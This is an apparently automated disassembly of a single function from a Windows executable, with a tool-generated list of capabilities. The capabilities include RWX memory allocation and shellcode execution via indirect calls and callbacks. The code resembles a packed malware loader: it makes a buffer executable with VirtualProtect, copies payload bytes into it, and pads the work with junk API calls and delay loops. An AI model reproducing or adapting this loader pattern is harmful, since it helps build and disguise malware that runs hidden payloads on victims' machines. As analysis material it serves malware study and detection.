Function at 0x4037c4
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Execute shellcode via windows callback function
Get common file path
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x803b07
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
mov eax, 0x1cd4
call fcn.0040bbc0
push ebx
push esi
xor esi, esi
cmp dword [0x8b6588], 0x5b1
push edi
jne 0x40387f
push esi
lea eax, [esp + 0xe4]
push eax
push esi
push 0x402db8
push esi
call dword [sym.imp.KERNEL32.dll_FoldStringA]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_EnumSystemCodePagesA]
push esi
call dword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
lea eax, [esp + 0x24]
call fcn.00403b37
push esi
mov dword [esp + 0x1cf0], esi
call fcn.004046cc
pop ecx
call fcn.0040466a
push 0x402e00
lea ecx, [esp + 0x14]
call fcn.004033a0
lea ecx, [esp + 0x10]
call fcn.004033bc
lea ecx, [esp + 0x10]
call fcn.00403402
lea ecx, [esp + 0x10]
call fcn.0040341b
push esi
push esi
call fcn.004049e9
push esi
call reloc.KERNEL32.dll_InterlockedDecrement
add esp, 0xc
push esi
call fcn.00404e02
add dword [0x8b6588], 0x1134b
push dword [0x8b6588]
push esi
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
lea ecx, [esp + 0x20]
push ecx
push 0x40
push dword [0x8b6588]
mov dword [0x8b54dc], eax
push eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov ebx, dword [sym.imp.KERNEL32.dll_SetLastError]
xor edi, edi
push esi
call ebx
call dword [sym.imp.KERNEL32.dll_GetLastError]
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
cmp edi, 0x206d47
jg 0x4038d7
inc edi
cmp edi, 0x4f6a4
jl 0x4038b7
xor edi, edi
cmp dword [0x8b6588], esi
jbe 0x403935
cmp dword [0x8b6588], 0xa8
mov eax, dword [0x8b658c]
mov al, byte [eax + edi + 0x1134b]
mov ecx, dword [0x8b54dc]
mov byte [ecx + edi], al
jne 0x40392c
push 0x402e10
push esi
call dword [sym.imp.KERNEL32.dll_SetComputerNameExW]
push 0x402e28
lea eax, [esp + 0xe4]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
lea eax, [esp + 0x1c]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedIncrement]
inc edi
cmp edi, dword [0x8b6588]
jb 0x4038e1
xor edi, edi
mov eax, dword [0x8b6588]
add eax, edi
cmp eax, 0xe
jne 0x40399b
push esi
lea eax, [esp + 0xe4]
push eax
push esi
push 0x402e88
push esi
call dword [sym.imp.KERNEL32.dll_FoldStringA]
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasA]
push esi
lea eax, [esp + 0x8e4]
push eax
push esi
push 0x402e90
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetNumberFormatW]
push 0x402ef8
push 0x402f10
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
push esi
push esi
lea eax, [esp + 0x14e8]
push eax
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasesW]
inc edi
cmp edi, 0x39621
jl 0x403937
call fcn.004036ad
xor edi, edi
push esi
call ebx
cmp edi, 0x26
jne 0x4039b8
call fcn.004037aa
inc edi
cmp edi, 0x6753f
jl 0x4039ab
push 0x7b
pop edi
cmp dword [0x8b6588], 0x86
jne 0x403a29
push esi
push esi
push esi
lea eax, [esp + 0x4c]
push eax
call dword [sym.imp.KERNEL32.dll_VerifyVersionInfoA]
push 0x402f30
push 0x402f80
call dword [sym.imp.KERNEL32.dll_SetVolumeLabelA]
push esi
push esi
push esi
push 0x402ff8
push 0x403030
push esi
call dword [sym.imp.KERNEL32.dll_UpdateResourceW]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_AddConsoleAliasA]
push esi
lea eax, [esp + 0x10e4]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemWindowsDirectoryA]
push esi
lea eax, [esp + 0x4e4]
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
dec edi
jne 0x4039c4
push 0x403054
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov ecx, dword [esp + 0x1ce4]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret